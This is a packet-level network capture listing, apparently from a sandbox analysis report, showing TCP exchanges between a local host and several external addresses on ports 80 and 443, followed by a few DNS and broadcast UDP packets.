Dec 9, 2024 23:09:50.072880983 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.073012114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.073586941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.073658943 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.073668003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.073709965 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.073838949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.074173927 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.074410915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.074485064 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.074495077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.074533939 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.074657917 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.075073004 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.075288057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.075306892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.075321913 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.075360060 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.075474024 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.075536013 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.076112032 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.076165915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.076175928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.076246023 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.076312065 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.076361895 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.076890945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.077004910 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.077017069 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.077042103 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.077187061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.077341080 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.077755928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.077816963 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.077827930 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.077867031 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.077974081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.078705072 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.078747034 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.078793049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.078804016 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.078916073 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.079004049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.079551935 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.079567909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.079577923 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.079616070 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.079726934 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.080008030 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.080300093 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.080347061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.080358028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.080405951 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.080456018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.080569029 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.081156015 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.081226110 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.081235886 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.081283092 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.081300020 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.081464052 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.081891060 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.081979036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.081994057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.082035065 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.082144022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.082204103 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.082719088 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.082791090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.082838058 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.082864046 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.082875967 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.082921982 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.083538055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.083592892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.083604097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.083656073 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.083780050 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.086071968 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.104428053 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.104541063 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.104590893 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.107323885 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.107448101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.108453035 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.109321117 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.109416008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.109582901 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.112677097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.112802982 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.112958908 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.115906954 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.116050005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.119021893 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.119304895 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.119414091 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.119451046 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.122571945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.122632027 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.125962019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.125971079 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.126019955 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.129024029 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.129100084 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.131025076 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.132306099 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.132379055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.132416964 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.135592937 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.135705948 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.135751009 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.138890028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.138971090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.139018059 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.142255068 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.142369986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.142549992 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.145445108 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.145469904 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.145520926 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.148778915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.148932934 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.149014950 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.152025938 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.152112007 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.152203083 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.155284882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.155422926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.156698942 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.158576965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.158689022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.158740044 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.161880016 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.161983967 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.162157059 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.165205002 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.165306091 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.165610075 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.168423891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.168536901 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.168579102 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.171967983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.172066927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.172883987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.172925949 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.172952890 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.173577070 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.174362898 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.174535036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.174590111 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.175180912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.175270081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.175385952 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.176142931 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.176220894 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.178617954 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.178684950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.178771019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.178818941 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.179311037 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.179333925 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.180048943 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.180104017 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.180105925 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.180799007 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.180840969 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.180900097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.181721926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.181761026 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.181809902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.182002068 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.182689905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.182888031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.183347940 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.183389902 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.183440924 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.184113979 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.184171915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.184216976 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.185067892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.185255051 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.185292006 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.186005116 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.186175108 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.186256886 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.186956882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.187060118 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.187089920 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.187922955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.187942028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.187982082 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.188848972 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.188958883 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.189794064 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.189837933 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.189862013 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.190705061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.190906048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.190958977 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.191612959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.191745043 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.192517042 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.192631960 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.192678928 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.193442106 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.193525076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.194025993 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.194364071 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.194417953 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.194453001 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.195187092 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.195329905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.195369005 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.196090937 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.196151018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.196197033 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.196940899 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.197007895 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.197844028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.197885036 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.197899103 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.198678017 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.198714018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.198832035 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.199424028 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.199623108 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.199727058 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.199779987 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.200481892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.200565100 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.200612068 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.201329947 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.201400042 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.202172041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.202217102 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.202246904 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.203013897 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.203032970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.203099966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.203785896 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.203816891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.203936100 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.203984022 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.204655886 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.204763889 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.205508947 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.205545902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.205588102 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.206499100 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.206609964 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.207174063 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.207216978 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.207287073 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.207992077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.208043098 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.208122969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.208203077 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.208815098 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.208905935 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.208956957 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.209683895 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.209693909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:50.209731102 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.389925957 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.391067028 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:50.505892992 CET	49905	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:50.506156921 CET	49914	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:50.625526905 CET	80	49914	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:50.625601053 CET	49914	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:50.625690937 CET	80	49905	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:50.625746012 CET	49905	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:50.626092911 CET	49914	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:50.745294094 CET	80	49914	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:51.966738939 CET	80	49914	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:51.966793060 CET	49914	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:53.474854946 CET	49914	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:53.475166082 CET	49923	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:53.594399929 CET	80	49923	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:53.594479084 CET	49923	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:53.594538927 CET	80	49914	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:53.594592094 CET	49914	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:53.594707012 CET	49923	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:53.714019060 CET	80	49923	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:54.931030035 CET	80	49923	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:54.931091070 CET	49923	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:55.701523066 CET	49896	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:55.820866108 CET	80	49896	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:56.721632957 CET	49923	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:56.721925974 CET	49939	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:56.841141939 CET	80	49939	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:56.841212988 CET	49939	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:56.841334105 CET	80	49923	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:56.841376066 CET	49939	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:56.841384888 CET	49923	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:56.960663080 CET	80	49939	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:58.172768116 CET	80	49939	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:58.172818899 CET	49939	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:58.911878109 CET	49896	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:59.101018906 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:59.821274042 CET	49939	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:59.821566105 CET	49949	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:59.940814972 CET	80	49949	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:59.940829039 CET	80	49939	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:59.940898895 CET	49939	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:59.940906048 CET	49949	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:59.948918104 CET	49949	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:10:00.008481026 CET	49951	443	192.168.2.4	142.250.181.68
Dec 9, 2024 23:10:00.008495092 CET	443	49951	142.250.181.68	192.168.2.4
Dec 9, 2024 23:10:00.008554935 CET	49951	443	192.168.2.4	142.250.181.68
Dec 9, 2024 23:10:00.008846998 CET	49951	443	192.168.2.4	142.250.181.68
Dec 9, 2024 23:10:00.008857012 CET	443	49951	142.250.181.68	192.168.2.4
Dec 9, 2024 23:10:00.068253994 CET	80	49949	185.215.113.43	192.168.2.4
Dec 9, 2024 23:10:01.317770958 CET	80	49949	185.215.113.43	192.168.2.4
Dec 9, 2024 23:10:01.319050074 CET	49949	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:10:01.749599934 CET	443	49951	142.250.181.68	192.168.2.4
Dec 9, 2024 23:10:01.750674009 CET	49951	443	192.168.2.4	142.250.181.68
Dec 9, 2024 23:10:01.750694990 CET	443	49951	142.250.181.68	192.168.2.4
Dec 9, 2024 23:10:01.751538038 CET	443	49951	142.250.181.68	192.168.2.4
Dec 9, 2024 23:10:01.751599073 CET	49951	443	192.168.2.4	142.250.181.68
Dec 9, 2024 23:10:01.752409935 CET	49951	443	192.168.2.4	142.250.181.68
Dec 9, 2024 23:10:01.752461910 CET	443	49951	142.250.181.68	192.168.2.4
Dec 9, 2024 23:10:01.796207905 CET	49951	443	192.168.2.4	142.250.181.68
Dec 9, 2024 23:10:01.796216965 CET	443	49951	142.250.181.68	192.168.2.4
Dec 9, 2024 23:10:01.849558115 CET	49951	443	192.168.2.4	142.250.181.68
Dec 9, 2024 23:10:03.108110905 CET	49969	443	192.168.2.4	35.190.72.216
Dec 9, 2024 23:10:03.108128071 CET	443	49969	35.190.72.216	192.168.2.4
Dec 9, 2024 23:10:03.108438015 CET	49969	443	192.168.2.4	35.190.72.216
Dec 9, 2024 23:10:03.109909058 CET	49969	443	192.168.2.4	35.190.72.216
Dec 9, 2024 23:10:03.109920979 CET	443	49969	35.190.72.216	192.168.2.4
Dec 9, 2024 23:10:03.141043901 CET	49969	443	192.168.2.4	35.190.72.216

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 23:08:18.283502102 CET	138	138	192.168.2.4	192.168.2.255
Dec 9, 2024 23:09:14.651407957 CET	57488	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:14.889875889 CET	53	57488	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:37.587831020 CET	52046	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:37.900635004 CET	53	52046	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:37.968075991 CET	51302	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:38.212718010 CET	53	51302	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:41.492753029 CET	61304	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:41.499263048 CET	61709	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:41.631985903 CET	51049	53	192.168.2.4	1.1.1.1
